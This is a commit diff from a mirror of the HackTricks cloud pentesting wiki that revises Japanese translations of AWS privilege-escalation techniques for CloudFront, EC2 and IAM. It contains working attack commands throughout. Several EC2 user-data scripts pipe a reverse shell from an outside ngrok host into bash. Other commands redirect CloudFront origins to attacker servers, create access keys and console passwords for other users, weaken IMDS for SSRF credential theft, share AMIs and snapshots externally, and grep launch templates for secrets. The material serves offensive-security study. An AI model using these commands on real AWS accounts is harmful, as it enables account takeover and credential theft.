mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-02 07:50:00 -08:00
Translated ['src/pentesting-ci-cd/cloudflare-security/README.md', 'src/p
This commit is contained in:
Translator
@@ -6,13 +6,13 @@
|
||||
|
||||
### `cloudfront:UpdateDistribution` & `cloudfront:GetDistributionConfig`
|
||||
|
||||
cloudfront:UpdateDistribution と cloudfront:GetDistributionConfig の権限を持つ攻撃者は、CloudFront distribution の設定を変更できます。攻撃者はターゲットの S3 バケット自体の権限を必要としませんが、そのバケットが cloudfront.amazonaws.com サービスプリンシパルからのアクセスを許可する寛容なポリシーを持っていると攻撃は容易になります。
|
||||
`cloudfront:UpdateDistribution` と `cloudfront:GetDistributionConfig` の権限を持つ攻撃者は、CloudFront distribution の設定を変更できます。対象の S3 バケット自体への権限は不要ですが、そのバケットが `cloudfront.amazonaws.com` サービスプリンシパルからのアクセスを許可する緩いポリシーを持っていると攻撃は容易になります。
|
||||
|
||||
攻撃者は distribution の origin 設定を別の S3 バケットや攻撃者が管理するサーバーを指すように変更します。まず現在の distribution 設定を取得します:
|
||||
攻撃者は distribution の origin 設定を別の S3 バケットや攻撃者が制御するサーバーを指すように変更します。まず現在の distribution 設定を取得します：
|
||||
```bash
|
||||
aws cloudfront get-distribution-config --id <distribution-id> | jq '.DistributionConfig' > current-config.json
|
||||
```
|
||||
次に、current-config.json を編集して origin を新しいリソース — 例えば別の S3 バケット — を指すようにします:
|
||||
次に、current-config.json を編集して origin が新しいリソース（例えば別の S3 バケット）を指すようにします:
|
||||
```bash
|
||||
...
|
||||
"Origins": {
|
||||
@@ -40,7 +40,7 @@ aws cloudfront get-distribution-config --id <distribution-id> | jq '.Distributio
|
||||
},
|
||||
...
|
||||
```
|
||||
最後に、変更した設定を適用してください（更新する際は現在の ETag を指定する必要があります）：
|
||||
最後に、変更した構成を適用します（更新する際には現在の ETag を指定する必要があります）:
|
||||
```bash
|
||||
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)
|
||||
|
||||
@@ -91,16 +91,16 @@ return response;
|
||||
Commands to create, publish and attach the function:
|
||||
|
||||
```bash
|
||||
# CloudFront に malicious function を作成
|
||||
# CloudFront に悪意のある関数を作成
|
||||
aws cloudfront create-function --name malicious-function --function-config '{
|
||||
"Comment": "Malicious CloudFront Function for Code Injection",
|
||||
"Runtime": "cloudfront-js-1.0"
|
||||
}' --function-code fileb://malicious-function.js
|
||||
|
||||
# DEVELOPMENT ステージの関数の ETag を取得
|
||||
# DEVELOPMENT ステージにある関数の ETag を取得
|
||||
aws cloudfront describe-function --name malicious-function --stage DEVELOPMENT --query 'ETag' --output text
|
||||
|
||||
# 関数を LIVE ステージに公開する
|
||||
# 関数を LIVE ステージに公開
|
||||
aws cloudfront publish-function --name malicious-function --if-match <etag>
|
||||
```
|
||||
|
||||
@@ -202,7 +202,7 @@ Then the attacker updates the CloudFront distribution configuration to reference
|
||||
```
|
||||
|
||||
```bash
|
||||
# 更新した distribution config を適用する（現在の ETag を使用する必要があります）
|
||||
# 更新した distribution config を適用する（current ETag を使用する必要があります）
|
||||
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)
|
||||
|
||||
aws cloudfront update-distribution \
|
||||
@@ -210,7 +210,7 @@ aws cloudfront update-distribution \
|
||||
--distribution-config file://current-config.json \
|
||||
--if-match $CURRENT_ETAG
|
||||
|
||||
# distribution にリクエストして function をトリガーする
|
||||
# distribution にリクエストを送って function をトリガーする
|
||||
curl -v https://<distribution-domain>.cloudfront.net/
|
||||
```
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## EC2
|
||||
|
||||
EC2に関する**詳細情報**は次を参照：
|
||||
For more **info about EC2** check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
@@ -12,19 +12,19 @@ EC2に関する**詳細情報**は次を参照：
|
||||
|
||||
### `iam:PassRole`, `ec2:RunInstances`
|
||||
|
||||
攻撃者は、**IAM roleをアタッチしたインスタンスを作成し、そのインスタンスにアクセスすることで**、メタデータエンドポイントからIAM roleの認証情報を盗むことができる。
|
||||
攻撃者は**IAM role をアタッチしたインスタンスを作成し、そのインスタンスにアクセスして metadata endpoint から IAM role の認証情報を盗む**ことができます。
|
||||
|
||||
- **SSH経由でのアクセス**
|
||||
- **Access via SSH**
|
||||
|
||||
新しいインスタンスを、**作成済みの** **ssh key**（`--key-name`）を使って起動し、その後sshでログインする（新しいkeyを作成する場合は`ec2:CreateKeyPair`の権限が必要になる可能性がある）。
|
||||
作成済みの **ssh key** (`--key-name`) を使って新しいインスタンスを起動し、その後 ssh で接続します（新しいキーを作成する場合は `ec2:CreateKeyPair` 権限が必要になることがあります）。
|
||||
```bash
|
||||
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
|
||||
--security-group-ids <sg-id>
|
||||
```
|
||||
- **user dataでのrev shellによるアクセス**
|
||||
- **user data 内の rev shell によるアクセス**
|
||||
|
||||
**user data** (`--user-data`) を使って新しいインスタンスを起動し、あなたに **rev shell** を送るようにできます。この方法では **security group** を指定する必要はありません。
|
||||
あなたに **rev shell** を送る **user data** (`--user-data`) を使って新しいインスタンスを起動できます。この方法ではセキュリティグループを指定する必要はありません。
|
||||
```bash
|
||||
echo '#!/bin/bash
|
||||
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
|
||||
@@ -34,17 +34,17 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
--count 1 \
|
||||
--user-data "file:///tmp/rev.sh"
|
||||
```
|
||||
Be careful with GuradDuty if you use the credentials of the IAM role outside of the instance:
|
||||
インスタンス外で IAM role の資格情報を使用する場合は GuradDuty に注意してください：
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
|
||||
{{#endref}}
|
||||
|
||||
**潜在的な影響:** 既存の instance profiles にアタッチされている EC2 role への直接的な privesc。
|
||||
**潜在的な影響:** 既存の instance profiles にアタッチされている任意の EC2 role への直接的な privesc。
|
||||
|
||||
#### Privesc to ECS
|
||||
|
||||
この権限セットがあれば、**EC2 instance を作成して ECS cluster 内に登録する**こともできます。こうすることで、アクセス可能な **EC2 instance** 内で ECS の **services** が **run** され、そこに展開されているサービス（docker containers）に侵入して、**steal their ECS roles attached** ことができます。
|
||||
この権限セットがあれば、**EC2 instance を作成して ECS cluster に登録する**こともできます。この方法では、ECS の **サービス** は **実行され**、あなたがアクセスできる **EC2 instance** 内で稼働します。そして、それらのサービス（docker containers）に侵入して、**アタッチされている ECS roles を盗む**ことができます。
|
||||
```bash
|
||||
aws ec2 run-instances \
|
||||
--image-id ami-07fde2ae86109a2af \
|
||||
@@ -59,20 +59,20 @@ aws ec2 run-instances \
|
||||
#!/bin/bash
|
||||
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
|
||||
```
|
||||
To learn how to **force ECS services to be run** in this new EC2 instance check:
|
||||
この新しい EC2 インスタンスで**force ECS services to be run**方法を確認するには、以下を参照してください：
|
||||
|
||||
{{#ref}}
|
||||
../aws-ecs-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
If you **cannot create a new instance** but has the permission `ecs:RegisterContainerInstance` you might be able to register the instance inside the cluster and perform the commented attack.
|
||||
`ecs:RegisterContainerInstance` の権限があるが、新しいインスタンスを**作成できない**場合、インスタンスをクラスター内に登録して、前述の attack を実行できる可能性があります。
|
||||
|
||||
**Potential Impact:** タスクにアタッチされた ECS roles への直接的な privesc。
|
||||
**潜在的影響:** tasks にアタッチされた ECS roles への直接的な privesc。
|
||||
|
||||
### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
|
||||
|
||||
前のシナリオと同様に、これらの権限を持つ攻撃者は、侵害されたインスタンスの IAM ロールを変更して新しい認証情報を窃取することができます。\
|
||||
インスタンスプロファイルは1つのロールしか持てないため、インスタンスプロファイルが**すでにロールを持っている**（一般的なケース）場合、さらに **`iam:RemoveRoleFromInstanceProfile`** が必要になります。
|
||||
前のシナリオと同様に、これらの権限を持つ攻撃者は**compromised instance の IAM role を変更する**ことで、新しい資格情報を盗むことができます。\
|
||||
instance profile は 1 つの role しか持てないため、instance profile が**すでに role を持っている**場合（一般的なケース）、**`iam:RemoveRoleFromInstanceProfile`** も必要になります。
|
||||
```bash
|
||||
# Removing role from instance profile
|
||||
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>
|
||||
@@ -80,21 +80,19 @@ aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-
|
||||
# Add role to instance profile
|
||||
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
|
||||
```
|
||||
もし**instance profile has a role**で、attackerが**cannot remove it**場合、別の回避策がある。
|
||||
もし**instance profile has a role**で、攻撃者がそれを**cannot remove it**なら、別の回避策があります。攻撃者は**find**で**instance profile without a role**を見つけるか、`iam:CreateInstanceProfile`で**create a new one**し、前述のようにその**instance profile**に**add**で**role**を付与し、そして**associate the instance profile** compromised to a compromised i**nstance**:
|
||||
|
||||
attackerは**find**して**instance profile without a role**を見つけるか、**create a new one**（`iam:CreateInstanceProfile`）、その**role**をその**instance profile**に**add**し（前述の通り）、そしてその**instance profile**をcompromisedなi**nstance**に**associate the instance profile**できる：
|
||||
|
||||
- もしインスタンスが**doesn't have any instance** profileの場合（`ec2:AssociateIamInstanceProfile`）
|
||||
- インスタンスが **doesn't have any instance** profile (`ec2:AssociateIamInstanceProfile`)
|
||||
```bash
|
||||
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
|
||||
```
|
||||
**潜在的影響:** Direct privesc to a different EC2 role (既に AWS EC2 インスタンスを侵害しており、追加の権限または特定のインスタンスプロファイルの状態が必要です)。
|
||||
**Potential Impact:** 別の EC2 role への直接的な privesc（AWS EC2 instance を侵害しており、追加の権限または特定の instance profile の状態が必要）。
|
||||
|
||||
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
|
||||
|
||||
With these permissions it's possible to change the instance profile associated to an instance so if the attack had already access to an instance he will be able to steal credentials for more instance profile roles changing the one associated with it.
|
||||
これらの権限があれば、インスタンスに関連付けられた instance profile を変更できるため、攻撃者が既にインスタンスにアクセスしている場合、関連付けを変更してより多くの instance profile ロールの資格情報を窃取できる。
|
||||
|
||||
- もしインスタンスに**インスタンスプロファイルがある**場合、インスタンスプロファイルを**削除**（`ec2:DisassociateIamInstanceProfile`）し、別のものを**関連付け**（`ec2:AssociateIamInstanceProfile`）できます。
|
||||
- インスタンスが **instance profile** を持っている場合、`ec2:DisassociateIamInstanceProfile` でその instance profile を **削除** し、`ec2:AssociateIamInstanceProfile` で別のものを **関連付ける** ことができます。
|
||||
```bash
|
||||
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
|
||||
aws ec2 disassociate-iam-instance-profile --association-id <value>
|
||||
@@ -104,12 +102,12 @@ aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --ins
|
||||
```bash
|
||||
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
|
||||
```
|
||||
**Potential Impact:** 別の EC2 role への直接的な privesc（AWS EC2 instance を侵害しており、追加の権限または特定の instance profile の状態が必要）。
|
||||
**Potential Impact:** 別の EC2 role への直接的な privesc（AWS EC2 インスタンスを既に侵害しており、追加の権限または特定のインスタンスプロファイルの状態が必要）。
|
||||
|
||||
### `ec2:RequestSpotInstances`,`iam:PassRole`
|
||||
|
||||
権限 **`ec2:RequestSpotInstances`and`iam:PassRole`** を持つ攻撃者は、**request** a **Spot Instance** with an **EC2 Role attached** and a **rev shell** in the **user data**.\
|
||||
インスタンスが起動すると、攻撃者は **steal the IAM role** することができます。
|
||||
権限 **`ec2:RequestSpotInstances`and`iam:PassRole`** を持つ攻撃者は、**user data** に **rev shell** を含む **EC2 Role attached** な **Spot Instance** を **request** できます。\
|
||||
インスタンスが起動すると、攻撃者は **steal the IAM role** ことができます。
|
||||
```bash
|
||||
REV=$(printf '#!/bin/bash
|
||||
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
|
||||
@@ -121,10 +119,10 @@ aws ec2 request-spot-instances \
|
||||
```
|
||||
### `ec2:ModifyInstanceAttribute`
|
||||
|
||||
**`ec2:ModifyInstanceAttribute`** を持つ攻撃者はインスタンスの属性を変更できます。
|
||||
その中で、**change the user data**ことができ、これによりインスタンスに**run arbitrary data.**を実行させることが可能になります。これは**rev shell to the EC2 instance**を取得するために利用できます。
|
||||
攻撃者が **`ec2:ModifyInstanceAttribute`** を持っていると、インスタンスの属性を変更できます。
|
||||
その中で、**change the user data** が可能であり、それによりインスタンスに **run arbitrary data.** を実行させることができます。これを使って **rev shell to the EC2 instance** を取得できます。
|
||||
|
||||
属性はインスタンスが停止している間にのみ**変更可能**である点に注意してください。そのため、**権限**として**`ec2:StopInstances`**と**`ec2:StartInstances`**が必要です。
|
||||
属性はインスタンスが停止している間にしか **modified while the instance is stopped** できない点に注意してください。したがって、**permissions** として **`ec2:StopInstances`** および **`ec2:StartInstances`** が必要です。
|
||||
```bash
|
||||
TEXT='Content-Type: multipart/mixed; boundary="//"
|
||||
MIME-Version: 1.0
|
||||
@@ -161,11 +159,11 @@ aws ec2 modify-instance-attribute \
|
||||
|
||||
aws ec2 start-instances --instance-ids $INSTANCE_ID
|
||||
```
|
||||
**潜在的な影響:** 作成されたインスタンスにアタッチされた任意の EC2 IAM Role への直接的な privesc.
|
||||
**潜在的影響:** 作成されたインスタンスにアタッチされた任意の EC2 IAM Role への直接的な privesc。
|
||||
|
||||
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
|
||||
|
||||
権限 **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** を持つ攻撃者は、**new Launch Template version** を作成し、**rev shell in** を **user data** に組み込み、**any EC2 IAM Role on it** を割り当ててデフォルトバージョンを変更できます。さらに、**any Autoscaler group** **using** that **Launch Templat**e は **configured** が **latest** または **default version** を使用するように設定されている場合、当該テンプレートを使ってインスタンスを**re-run the instances** し、rev shell を実行します。
|
||||
権限 **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** を持つ攻撃者は、**新しい Launch Template バージョン** を作成し、**rev shell を含む** **user data** と **それに付与された任意の EC2 IAM Role** を設定してデフォルトバージョンを変更できます。さらに、当該テンプレートを **latest** または **default version** を使用するように **構成されている** **任意の Autoscaler group** は、そのテンプレートを使用して **instances を再作成** し、rev shell を実行します。
|
||||
```bash
|
||||
REV=$(printf '#!/bin/bash
|
||||
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
|
||||
@@ -179,11 +177,11 @@ aws ec2 modify-launch-template \
|
||||
--launch-template-name bad_template \
|
||||
--default-version 2
|
||||
```
|
||||
**潜在的影響:** 別の EC2 role への直接的な privesc。
|
||||
**影響の可能性:** 別の EC2 role への直接的な privesc.
|
||||
|
||||
### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`), `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`)
|
||||
|
||||
権限 **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** を持つ攻撃者は、**Launch Configuration** を **IAM Role** と **rev shell** を **user data** に含めて作成し、その設定から **autoscaling group** を作成して rev shell が **IAM Role を奪取**するのを待つことができます。
|
||||
これらの権限（**`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`**）を持つ攻撃者は、**Launch Configuration を作成**して**IAM Role** を割り当て、**user data** 内に **rev shell** を入れ、そこから **autoscaling group を作成**して rev shell が **IAM Role を奪う** のを待つことができます。
|
||||
```bash
|
||||
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
|
||||
--launch-configuration-name bad_config \
|
||||
@@ -199,15 +197,15 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
|
||||
--desired-capacity 1 \
|
||||
--vpc-zone-identifier "subnet-e282f9b8"
|
||||
```
|
||||
**潜在的影響:** 別の EC2 role への直接 privesc。
|
||||
**潜在的な影響:** 別の EC2 ロールへの直接的な privesc。
|
||||
|
||||
### `!autoscaling`
|
||||
|
||||
パーミッションの組み合わせ **`ec2:CreateLaunchTemplate`** と **`autoscaling:CreateAutoScalingGroup`** **だけでは IAM role への権限昇格はできません**。なぜなら、Launch Configuration や Launch Template に指定された role をアタッチするには **`iam:PassRole`and `ec2:RunInstances`** の権限が必要だからです（これは既知の privesc です）。
|
||||
権限の組み合わせ **`ec2:CreateLaunchTemplate`** と **`autoscaling:CreateAutoScalingGroup`** だけでは IAM ロールへの権限昇格は**不十分**です。というのも、Launch Configuration や Launch Template に指定されたロールをアタッチするには **`iam:PassRole`** と **`ec2:RunInstances`** の権限が必要だからです（これは既知の privesc です）。
|
||||
|
||||
### `ec2-instance-connect:SendSSHPublicKey`
|
||||
|
||||
パーミッション **`ec2-instance-connect:SendSSHPublicKey`** を持つ攻撃者は、ユーザーに ssh キーを追加し、それを使ってインスタンスにアクセス（攻撃者がそのインスタンスへの ssh アクセスを持っている場合）したり、権限昇格に利用したりできます。
|
||||
権限 **`ec2-instance-connect:SendSSHPublicKey`** を持つ攻撃者は、ユーザーに ssh キーを追加し（インスタンスへの ssh アクセス権がある場合）それを使ってアクセスしたり、権限を昇格したりできます。
|
||||
```bash
|
||||
aws ec2-instance-connect send-ssh-public-key \
|
||||
--instance-id "$INSTANCE_ID" \
|
||||
@@ -218,9 +216,9 @@ aws ec2-instance-connect send-ssh-public-key \
|
||||
|
||||
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
|
||||
|
||||
この権限 **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** を持つ攻撃者は、シリアル接続に **ssh キーを追加する** ことができます。シリアルが有効になっていない場合、攻撃者はそれを有効化するために **`ec2:EnableSerialConsoleAccess`** の権限が必要です。
|
||||
権限 **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** を持つ攻撃者は、**serial connection に ssh key を追加できる**。もし serial が有効になっていない場合、攻撃者はそれを有効にするために権限 **`ec2:EnableSerialConsoleAccess`** を必要とする。
|
||||
|
||||
シリアルポートに接続するには、マシン内部のユーザーのユーザー名とパスワードを**知っている必要がある**。
|
||||
serial port に接続するには、マシン内のユーザの **username と password を知っている必要がある**。
|
||||
```bash
|
||||
aws ec2 enable-serial-console-access
|
||||
|
||||
@@ -234,11 +232,11 @@ ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-
|
||||
```
|
||||
この方法は、悪用するにはユーザー名とパスワードを知っている必要があるため、privescにはあまり有用ではありません。
|
||||
|
||||
**Potential Impact:**（非常に立証困難）稼働中のインスタンスにアタッチされたEC2 IAM rolesへの直接的なprivesc。
|
||||
**潜在的な影響:**（非常に立証困難）実行中のインスタンスにアタッチされた EC2 IAM roles への直接的な privesc。
|
||||
|
||||
### `describe-launch-templates`,`describe-launch-template-versions`
|
||||
|
||||
launch templatesはバージョニングを持つため、**`ec2:describe-launch-templates`** および **`ec2:describe-launch-template-versions`** 権限を持つ攻撃者は、user dataに含まれる資格情報などの機密情報を発見するためにこれらを悪用できます。この目的を達成するため、以下のスクリプトは利用可能なlaunch templatesの全バージョンをループします：
|
||||
launch templates にはバージョニングがあるため、**`ec2:describe-launch-templates`** および **`ec2:describe-launch-template-versions`** の権限を持つ攻撃者は、user data に含まれる資格情報などの機密情報を発見するためにこれらを悪用することができます。これを実行するために、以下のスクリプトは利用可能な launch templates のすべてのバージョンをループします:
|
||||
```bash
|
||||
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
|
||||
do
|
||||
@@ -251,13 +249,13 @@ echo
|
||||
done | grep -iE "aws_|password|token|api"
|
||||
done
|
||||
```
|
||||
上記のコマンドでは特定のパターン（`aws_|password|token|api`）を指定していますが、他の種類の機密情報を検索するために別の正規表現を使用できます。
|
||||
上のコマンドでは、特定のパターン（`aws_|password|token|api`）を指定していますが、他の種類の機密情報を検索するために別の正規表現を使用できます。
|
||||
|
||||
仮に `aws_access_key_id` と `aws_secret_access_key` を見つけた場合、これらの認証情報を使って AWS に認証できます。
|
||||
もし `aws_access_key_id` と `aws_secret_access_key` を見つけた場合、これらの資格情報を使って AWS に認証できます。
|
||||
|
||||
**潜在的影響:** IAM user(s) への直接的な権限昇格。
|
||||
**潜在的な影響:** IAM ユーザーへの直接的な権限昇格。
|
||||
|
||||
## 参考文献
|
||||
## 参考
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
|
||||
@@ -267,10 +265,10 @@ done
|
||||
|
||||
### `ec2:ModifyInstanceMetadataOptions` (IMDS downgrade to enable SSRF credential theft)
|
||||
|
||||
被害対象の EC2 インスタンス上で `ec2:ModifyInstanceMetadataOptions` を呼び出す能力を持つ攻撃者は、IMDS の保護を弱めるために IMDSv1 を有効化（`HttpTokens=optional`）し、`HttpPutResponseHopLimit` を増加させることができます。これにより、インスタンス上で動作するアプリケーションからの一般的な SSRF/プロキシ経路経由で instance metadata endpoint に到達できるようになります。攻撃者がそのようなアプリで SSRF を誘発できれば、instance profile の認証情報を取得して pivot することが可能です。
|
||||
被害者の EC2 インスタンスに対して `ec2:ModifyInstanceMetadataOptions` を呼び出す能力を持つ攻撃者は、IMDS の保護を弱め、IMDSv1（`HttpTokens=optional` を有効化）にし、`HttpPutResponseHopLimit` を増やすことができます。これにより、インスタンス上で動作するアプリケーションからの一般的な SSRF/プロキシ経路を介してインスタンスメタデータのエンドポイントにアクセスできるようになります。攻撃者がそのようなアプリで SSRF を発生させられれば、インスタンスプロファイルの資格情報を取得してそれらで踏み台にできます。
|
||||
|
||||
- Required permissions: 対象インスタンスでの `ec2:ModifyInstanceMetadataOptions` （およびホストに到達/SSRF を発生させる能力）。
|
||||
- Target resource: 実行中の EC2 インスタンスで、attached instance profile (IAM role) が割り当てられているもの。
|
||||
- 必要な権限: 対象インスタンスに対する `ec2:ModifyInstanceMetadataOptions`（およびホストに対して SSRF を到達/トリガーする能力）。
|
||||
- 対象リソース: インスタンスプロファイル（IAM role）がアタッチされた稼働中の EC2 インスタンス。
|
||||
|
||||
Commands example:
|
||||
```bash
|
||||
@@ -299,11 +297,11 @@ aws sts get-caller-identity
|
||||
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
|
||||
--http-tokens required --http-put-response-hop-limit 1
|
||||
```
|
||||
潜在的影響: SSRF を介した instance profile credentials の窃取により、EC2 role の権限での privilege escalation および lateral movement を引き起こす可能性があります。
|
||||
潜在的影響: SSRF を介した instance profile credentials の窃取により、EC2 role permissions を用いた privilege escalation と lateral movement が発生する可能性があります。
|
||||
|
||||
### `ec2:ModifyInstanceMetadataOptions`
|
||||
|
||||
ec2:ModifyInstanceMetadataOptions permission を持つ攻撃者は、Instance Metadata Service (IMDS) の保護を弱めることができます — 例えば IMDSv1 を強制して HttpTokens を必須でなくしたり、HttpPutResponseHopLimit を増やしたりすることで — これにより一時的な認証情報の外部持ち出しが容易になります。最も関連性の高いリスクベクターは HttpPutResponseHopLimit の引き上げです: その hop limit (TTL) を増やすことで、169.254.169.254 エンドポイントが VM のネットワーク名前空間に厳密に制限されなくなり、他のプロセス/コンテナから到達可能になって認証情報の窃取を可能にします。
|
||||
ec2:ModifyInstanceMetadataOptions 権限を持つ攻撃者は、Instance Metadata Service (IMDS) の保護を弱めることができます — 例えば IMDSv1 を強制して HttpTokens を不要にしたり、HttpPutResponseHopLimit を増加させたりすることで — これにより temporary credentials の exfiltration が容易になります。最も関連性の高いリスクベクターは HttpPutResponseHopLimit を上げることです: この hop limit (TTL) を増やすと、169.254.169.254 エンドポイントが VM の network namespace に厳密に限定されなくなり、他のプロセス/コンテナから到達可能になって credential theft を可能にします。
|
||||
```bash
|
||||
aws ec2 modify-instance-metadata-options \
|
||||
--instance-id <INSTANCE_ID> \
|
||||
@@ -313,13 +311,13 @@ aws ec2 modify-instance-metadata-options \
|
||||
```
|
||||
### `ec2:ModifyImageAttribute`, `ec2:ModifySnapshotAttribute`
|
||||
|
||||
ec2:ModifyImageAttribute および ec2:ModifySnapshotAttribute の権限を持つ攻撃者は、AMIs や snapshots を他の AWS アカウントと共有したり（公開することさえ）でき、設定、資格情報、証明書、バックアップなどの機密データを含む可能性のあるイメージやボリュームを露出させる恐れがあります。AMI の launch permissions や snapshot の create-volume permissions を変更することで、攻撃者は第三者がそれらのリソースからインスタンスを起動したりディスクをマウントして内容にアクセスできるようにします。
|
||||
ec2:ModifyImageAttribute と ec2:ModifySnapshotAttribute の権限を持つ攻撃者は、AMIs や snapshots を他の AWS アカウントと共有したり（場合によっては公開したり）することで、設定、認証情報、証明書、バックアップなどの機密データを含み得るイメージやボリュームを露出させる可能性があります。AMI の launch permissions や snapshot の create-volume permissions を変更することで、攻撃者は第三者にこれらのリソースからインスタンスを起動させたりディスクをマウントしてその内容にアクセスさせることができます。
|
||||
|
||||
To share an AMI with another account:
|
||||
AMI を別のアカウントと共有するには:
|
||||
```bash
|
||||
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
EBS snapshot を別のアカウントと共有するには:
|
||||
EBS スナップショットを別のアカウントと共有するには:
|
||||
```bash
|
||||
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## IAM
|
||||
|
||||
IAMの詳細は次を参照してください:
|
||||
IAM の詳細については次を参照してください：
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-iam-enum.md
|
||||
@@ -12,78 +12,78 @@ IAMの詳細は次を参照してください:
|
||||
|
||||
### **`iam:CreatePolicyVersion`**
|
||||
|
||||
新しいIAMポリシーバージョンを作成する能力を付与します。`--set-as-default` フラグを使用することで、`iam:SetDefaultPolicyVersion` 権限を必要とせずにデフォルトに設定できます。これによりカスタム権限を定義できます。
|
||||
新しい IAM ポリシーバージョンを作成する権限を付与します。`--set-as-default` フラグを使用することで `iam:SetDefaultPolicyVersion` 権限をバイパスしてデフォルトに設定でき、カスタムの権限を定義可能です。
|
||||
|
||||
**Exploit Command:**
|
||||
```bash
|
||||
aws iam create-policy-version --policy-arn <target_policy_arn> \
|
||||
--policy-document file:///path/to/administrator/policy.json --set-as-default
|
||||
```
|
||||
**影響:** 直接的に権限を昇格させ、任意のリソースに対する任意のアクションを許可します。
|
||||
**影響:** 任意のリソースに対して任意のアクションを実行できるようにすることで、直接的に権限を昇格させます。
|
||||
|
||||
### **`iam:SetDefaultPolicyVersion`**
|
||||
|
||||
IAM policy のデフォルトバージョンを別の既存バージョンに変更できるようにします。新しいバージョンがより多くの権限を持っている場合、権限が昇格する可能性があります。
|
||||
既存の別バージョンにIAMポリシーのデフォルトバージョンを変更できるようにします。新しいバージョンがより多くの権限を持っている場合、権限が昇格する可能性があります。
|
||||
|
||||
**Bash コマンド:**
|
||||
**Bash Command:**
|
||||
```bash
|
||||
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
|
||||
```
|
||||
**影響:** より多くの権限を有効にすることで間接的に privilege escalation を引き起こす。
|
||||
**影響:** 間接的な privilege escalation — より多くの権限を有効にすることで発生します。
|
||||
|
||||
### **`iam:CreateAccessKey`**
|
||||
|
||||
他のユーザーの access key ID と secret access key を作成できるようにし、潜在的な privilege escalation を引き起こす可能性がある。
|
||||
他のユーザーの access key ID と secret access key を作成できるようにし、潜在的な privilege escalation を引き起こす可能性があります。
|
||||
|
||||
**悪用:**
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam create-access-key --user-name <target_user>
|
||||
```
|
||||
**Impact:** 他のユーザーの拡張権限を引き受けることで、直接的な privilege escalation が可能になります。
|
||||
**影響:** 別ユーザーの拡張権限を利用して直接的に権限昇格を引き起こす。
|
||||
|
||||
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
|
||||
|
||||
ログインプロファイルの作成・更新（AWSコンソールログイン用のパスワード設定を含む）を許可し、直接的な privilege escalation を引き起こします。
|
||||
ログインプロファイルの作成や更新（AWS コンソールログイン用のパスワード設定を含む）を許可し、これにより直接的な権限昇格につながる。
|
||||
|
||||
**Exploit for Creation:**
|
||||
```bash
|
||||
aws iam create-login-profile --user-name target_user --no-password-reset-required \
|
||||
--password '<password>'
|
||||
```
|
||||
**更新のための Exploit:**
|
||||
**Exploit（更新用）:**
|
||||
```bash
|
||||
aws iam update-login-profile --user-name target_user --no-password-reset-required \
|
||||
--password '<password>'
|
||||
```
|
||||
**Impact:** "any" ユーザーとしてログインすることで直接的に権限昇格が可能。
|
||||
**Impact:** 「任意」のユーザーとしてログインすることで直接的な特権昇格。
|
||||
|
||||
